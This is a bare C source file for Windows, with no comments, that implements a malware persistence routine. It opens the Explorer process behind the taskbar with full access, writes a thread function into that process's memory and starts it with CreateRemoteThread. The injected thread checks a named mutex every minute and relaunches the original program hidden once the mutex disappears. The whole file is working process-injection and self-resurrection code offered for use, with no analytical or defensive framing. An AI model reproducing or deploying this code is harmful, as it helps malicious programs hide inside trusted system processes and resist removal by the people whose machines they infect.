#define _CRT_SECURE_NO_DEPRECATE
#include < windows.h >
#include < stdio.h >
#pragma comment( lib, "user32" )

typedef bool (WINAPI *pCloseHandle)(HANDLE);
typedef HANDLE (WINAPI *pCreateFileA)(LPCTSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef HANDLE (WINAPI *pCreateMutexA)(LPSECURITY_ATTRIBUTES, BOOL, LPCTSTR);
typedef DWORD (WINAPI *pGetLastError)(void);
typedef bool (WINAPI *pReleaseMutex)(HANDLE);
typedef void (WINAPI *pSleep)(DWORD);
typedef UINT (WINAPI *pWinExec)(LPCTSTR, UINT);
struct SPersistInfo
{
  pCloseHandle m_fCloseHandle;
  pCreateFileA m_fCreateFileA;
  pCreateMutexA m_fCreateMutexA;
  pGetLastError m_fGetLastError;
  pReleaseMutex m_fReleaseMutex;
  pSleep m_fSleep;
  pWinExec m_fWinExec;
  char m_szFilePath[MAX_PATH];
  char m_szMutexName[512];
};
DWORD WINAPI persist_thread(SPersistInfo *s_pi)
{
  HANDLE hFile, hMutex;
  hFile = s_pi->m_fCreateFileA(s_pi->m_szFilePath,
     GENERIC_READ,
     FILE_SHARE_READ,
     NULL,
     OPEN_EXISTING,
     FILE_ATTRIBUTE_NORMAL,
     NULL);
  while (TRUE)
  {
     hMutex = s_pi->m_fCreateMutexA(NULL, FALSE, s_pi->m_szMutexName);
     if (s_pi->m_fGetLastError() != ERROR_ALREADY_EXISTS)
     {
        s_pi->m_fCloseHandle(hFile);
        s_pi->m_fReleaseMutex(hMutex);
        s_pi->m_fCloseHandle(hMutex);
        s_pi->m_fWinExec(s_pi->m_szFilePath, SW_HIDE);
        return 0;
     }
     s_pi->m_fReleaseMutex(hMutex);
     s_pi->m_fCloseHandle(hMutex);
     s_pi->m_fSleep(60000);
  }
  return 0;
}
void persist_calc(void) {}
bool persist_main(char *pszMutexName)
{
  char szFilePath[MAX_PATH];
  DWORD dwPID, dwWritten, *pdwRemoteCode;
  HANDLE hProcess;
  HMODULE hModule;
  int nSize;
  hModule = GetModuleHandle("kernel32.dll");
  SPersistInfo *s_pir, s_pil =
  {
     (pCloseHandle)GetProcAddress(hModule, "CloseHandle"),
     (pCreateFileA)GetProcAddress(hModule, "CreateFileA"),
     (pCreateMutexA)GetProcAddress(hModule, "CreateMutexA"),
     (pGetLastError)GetProcAddress(hModule, "GetLastError"),
     (pReleaseMutex)GetProcAddress(hModule, "ReleaseMutex"),
     (pSleep)GetProcAddress(hModule, "Sleep"),
     (pWinExec)GetProcAddress(hModule, "WinExec"),
  };
  GetWindowThreadProcessId(FindWindow("Shell_TrayWnd", NULL), &dwPID);
  hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
  if (!hProcess) return FALSE;
  GetModuleFileName(NULL, szFilePath, sizeof(szFilePath) - 1);
  strncpy(s_pil.m_szFilePath, szFilePath, sizeof(s_pil.m_szFilePath) - 1);
  strncpy(s_pil.m_szMutexName, pszMutexName, sizeof(s_pil.m_szMutexName) - 1);
  s_pir = (SPersistInfo *)VirtualAllocEx(hProcess,
     NULL,
     sizeof(SPersistInfo),
     MEM_COMMIT,
     PAGE_READWRITE);
  WriteProcessMemory(hProcess, s_pir, &s_pil, sizeof(SPersistInfo), &dwWritten);
  nSize = ((LPBYTE)persist_calc - (LPBYTE)persist_thread);
  pdwRemoteCode = (PDWORD)VirtualAllocEx(hProcess,
     NULL,
     nSize,
     MEM_COMMIT,
     PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(hProcess, pdwRemoteCode, &persist_thread, nSize, &dwWritten);
  HANDLE g_hPersistThread;
  g_hPersistThread = CreateRemoteThread(hProcess,
     NULL,
     0,
     (LPTHREAD_START_ROUTINE)pdwRemoteCode,
     s_pir,
     0,
     NULL);
  CloseHandle(hProcess);
  if (!g_hPersistThread) return FALSE;
  return TRUE;
}
void main() { }